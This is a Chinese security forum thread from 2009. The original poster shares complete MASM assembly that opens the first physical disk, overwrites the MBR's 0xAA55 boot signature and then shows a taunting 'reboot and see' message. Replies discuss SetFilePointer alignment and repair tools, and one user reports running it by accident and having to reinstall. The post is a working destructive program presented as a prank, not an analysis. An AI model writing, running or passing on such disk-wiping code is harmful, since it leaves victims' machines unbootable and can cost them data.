首页
论坛
课程
招聘
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝

[原创]在Win32下汇编改写MBR

2009-5-16 23:02 8307

[原创]在Win32下汇编改写MBR

2009-5-16 23:02
8307
在网上闲逛发现有前人在网上发的资料 说用CreateFile就可以读写MBR
以前总以为这么重要的东西Windows不会让人碰 让动的话起码得有Ring0权限
在网上问了下果然好多人说不可以改写MBR必须要提高权限或者改写驱动
本人菜鸟还没有到写驱动的能力 用前人的资料试了下果然可以改写
看来不能光听别人说还得身体力行才行
下面附上本人写的一个小程序源码 破坏MBR最后的结束标志0AA55h
		.386
		.model flat, stdcall
		option casemap: none


include		windows.inc
include		user32.inc
includelib	user32.lib
include		kernel32.inc
includelib	kernel32.lib


		.data
szFileName	db	'\\.\PhysicalDrive0', 0
szCaption	db	'Made By ZuChen', 0
szText		db	'呵呵,重启下计算机看看有什么精彩的发现', 0dh, 0ah
		db	'如果不能解决可以来找我哦', 0


		.data?
hDriver		dd	?
szReadBuffer	db	512 dup (?)
dwBytesRead	dd	?


		.code
start:
		invoke	CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, \
			FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
		mov	hDriver, eax
		.if	hDriver == INVALID_HANDLE_VALUE
				invoke	ExitProcess, NULL
		.endif
		invoke	ReadFile, hDriver, addr szReadBuffer,\
			sizeof szReadBuffer, addr dwBytesRead, 0
		
		.if	eax == 0
				invoke	ExitProcess, NULL
		.endif
		invoke	CloseHandle, hDriver

		invoke	CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, \
			FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
		mov	hDriver, eax
		mov	byte ptr [szReadBuffer + 510], 00h
		mov	byte ptr [szReadBuffer + 511], 00h
		invoke	WriteFile, hDriver, addr szReadBuffer,\
			sizeof szReadBuffer, addr dwBytesRead, 0
		.if	eax == 0
				invoke	ExitProcess, NULL
		.endif
		invoke	CloseHandle, hDriver

		invoke	MessageBox, NULL, offset szText, offset szCaption, MB_OK
		invoke	ExitProcess, NULL


		end	start

小弟还有一点不知道的就是在恢复文件指针的时候调用SetFilePointer函数失败结果只能关闭文件然后再打开一次让指针复位 有没有兄弟知道直接让指针复位的方法 谢啦

HWS计划·2020安全精英夏令营来了!我们在华为松山湖欧洲小镇等你

最新回复 (24)
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2009-5-16 23:42
2
0
我以为你是用某个总线驱动设备的符号连接来做SCSI_PASS_THROUGH穿透,仔细一看,原来……不说了。
雪    币: 209
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Jeller 活跃值 2009-5-16 23:56
3
0
MSDN有的
雪    币: 459
活跃值: 活跃值 (11)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 活跃值 9 2009-5-17 00:25
4
0
disk handle只能set file point扇区倍数~

另外楼主还是回冥王星吧~
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
断弦 活跃值 2009-5-17 12:43
5
0
被人鄙视了
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2009-5-17 13:20
6
0
没鄙视~~呵呵。只是这东西相当大众了。你的分享精神还是不错的
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
断弦 活跃值 2009-5-17 13:33
7
0
我还有一点不明白 为什么不能用SetFilePointer让文件指针复位
结果我只能关闭文件再重新打开让它复位 等待解答
雪    币: 250
活跃值: 活跃值 (20)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
weolar 活跃值 10 2009-5-17 13:42
8
0
你的set file point是扇区倍数吗
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
断弦 活跃值 2009-5-17 17:44
9
0
我用的是invoke SetFilePointer, hDriver, 0, NULL, FILE_BEGIN
调用函数后eax返回-1没有成功执行
很郁闷
雪    币: 52
活跃值: 活跃值 (17)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
yiyiguxing 活跃值 1 2009-5-18 12:00
10
0
这个想法好。。。
雪    币: 152
活跃值: 活跃值 (12)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
likecrack 活跃值 2009-5-19 19:27
11
0
呵呵.之前只是读出来.从来没想到要写回去过.这个方法早就有了.
雪    币: 122
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yangya 活跃值 2009-5-20 11:46
12
0
高手还真多啊
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
断弦 活跃值 2009-5-20 12:42
13
0
有没有人知道--------------------------------------------------------------------------------

invoke SetFilePointer, hDriver, 0, NULL, FILE_BEGIN
调用函数后eax返回-1
为什么不成功啊
雪    币: 203
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
EndlessCrash 活跃值 2009-5-20 15:16
14
0
这个东西以前试过,读没有问题,但是写不进去。。。不解。。。
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
断弦 活跃值 2009-5-20 19:05
15
0
能够写进去的 关键是读后要调整文件指针否则内容会写道上次读的后面去得
雪    币: 44
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bozer 活跃值 2009-5-20 21:54
16
0
不小心运行了楼主的程序,害我开箱,装机了半天
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
断弦 活跃值 2009-5-21 20:29
17
0
不是吧 装机?

你重新修复分区表不就行了么

我可没想着用这个害人 写着玩而已
雪    币: 44
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bozer 活跃值 2009-5-21 23:26
18
0
关键是光驱还坏的
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
断弦 活跃值 2009-5-22 12:47
19
0
用优盘启动 基本上PE包含这些工具
雪    币: 44
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bozer 活跃值 2009-5-22 16:42
20
0
我想问下,直接fixmbr会不会破环里面的分区信息?
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
断弦 活跃值 2009-5-22 18:23
21
0
fixmbr只是修复分区信息而已 也就是说如果mbr里面是不正确的信息它会修正
雪    币: 44
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bozer 活跃值 2009-5-22 22:16
22
0
那对于此处的mbr的修改,可以用那些方法修复?
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
断弦 活跃值 2009-5-22 22:51
23
0
diskgen or diskfix tools
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
SUNINRAIN 活跃值 2009-6-4 16:49
24
0
很大众阿 呵呵
雪    币: 578
活跃值: 活跃值 (15)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
非安全 活跃值 17 2009-6-4 17:28
25
0
帮你顶下。。。。。。。。。。
游客
登录 | 注册 方可回帖
返回